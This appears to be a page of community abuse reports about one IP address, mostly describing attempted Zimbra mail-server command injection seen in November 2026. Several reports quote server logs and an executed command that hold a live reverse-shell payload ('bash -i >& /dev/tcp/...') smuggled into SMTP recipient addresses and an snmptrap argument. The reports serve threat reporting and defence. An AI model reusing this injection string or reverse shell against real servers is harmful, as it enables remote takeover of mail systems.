🇫🇷
JE55II
2026-11-12 11:21:00
UTC ·
(3 hours ago)
Link of : 105.155.118.249
ZIMBRA exploitation
--- Report : ---
Date et heure : 11 Nov. 26
Utilisateur : zimbra
Endpoint : [REDACTED]
Adresse IP Destination : 41.249.3.178 [MA] Rabat | ADSL_Maroc_telecom, ligne fixe
Chemin d'accès : ...
show more
Link of : 105.155.118.249
ZIMBRA exploitation
--- Report : ---
Date et heure : 11 Nov. 26
Utilisateur : zimbra
Endpoint : [REDACTED]
Adresse IP Destination : 41.249.3.178 [MA] Rabat | ADSL_Maroc_telecom, ligne fixe
Chemin d'accès :
``` `/opt/zimbra/common/bin/snmptrap` ```
Commande :
``` /usr/bin/perl /opt/zimbra/data/tmp/.swatchdog_script.545122 /opt/zimbra/common/bin/snmptrap -v 2c -c zimbra [REDACTED] ZIMBRA-TRAP-MIB::zmServiceStatusTrap ZIMBRA-MIB::zmServiceName s $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) ZIMBRA-MIB::zmServiceStatus i 1
``` VT Score : 1 /92
Community Knowledge : - Github PoC
Sources d'information : Crowdstrike AbuseIPDB VirusTotal Zimbra https://app.opencve.io/cve/CVE-2026-73570
show less
Web App Attack
Hacking
🇺🇸
k3rn3l109
2026-11-12 10:49:44
UTC ·
(3 hours ago)
Sentinel honeypot: nodered-flow hit on node-red.edgecdnhub.com
Hacking
🇸🇬
heyzg
2026-11-12 10:01:51
UTC ·
(4 hours ago)
HTTP Web Scanning (observed): 7 HTTP, 1s
Bad Web Bot
Web App Attack
🇺🇸
Execoop
2026-11-12 10:01:07
UTC ·
(4 hours ago)
HTTP Web Scanning (observed): 7 HTTP, 1s
Bad Web Bot
Web App Attack
2026-11-12 10:00:59
UTC ·
(4 hours ago)
Fail2Ban jail zimbra-cmdinject detected and blocked malicious activity against our mail server.
Hacking
Web App Attack
🇮🇹
milauria
2026-11-12 09:50:52
UTC ·
(4 hours ago)
Nov 12 10:50:52 mail postfix/smtpd[86381]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running@220-m ...
show more
Nov 12 10:50:52 mail postfix/smtpd[86381]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.assistudiolauria.it> proto=ESMTP helo=<poc.invalid>
...
show less
Brute-Force
🇺🇸
heyzg
2026-11-12 09:46:13
UTC ·
(4 hours ago)
HTTP Web Scanning (observed): 7 HTTP
Bad Web Bot
Web App Attack
🇯🇵
Execoop
2026-11-12 09:46:04
UTC ·
(4 hours ago)
HTTP Web Scanning (observed): 7 HTTP, 2s
Bad Web Bot
Web App Attack
🇫🇷
mepopa
2026-11-12 09:42:50
UTC ·
(5 hours ago)
abusive activity detected
Brute-Force
Email Spam
2026-11-12 09:40:44
UTC ·
(5 hours ago)
Zimbra SMTP command injection attempt
Hacking
Web App Attack
🇲🇩
MoldPresa
2026-11-12 09:40:14
UTC ·
(5 hours ago)
Fail2Ban [zimbra-smtp]: Nov 12 11:40:08 01eml01p postfix/smtpd[1066791]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed ...
show more
Fail2Ban [zimbra-smtp]: Nov 12 11:40:08 01eml01p postfix/smtpd[1066791]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-01eml01p.moldpresa.md> proto=ESMTP helo=<poc.invalid>
Nov 12 11:40:08 01eml01p postfix/smtpd[1066791]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 550 5.1.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Recipient address rejected: 01eml01p.moldpresa.md; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@01eml0
show less
Brute-Force
Bad Web Bot
Web App Attack
🇪🇨
ocabrera23
2026-11-12 09:39:26
UTC ·
(5 hours ago)
2026-11-12T09:39:24.666619+00:00 mail postfix/smtpd[1533634]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopp ...
show more
2026-11-12T09:39:24.666619+00:00 mail postfix/smtpd[1533634]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP helo=<poc.invalid>
Nov 12 09:39:24 mail postfix/smtpd[1533634]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP
...
show less
Brute-Force
Email Spam
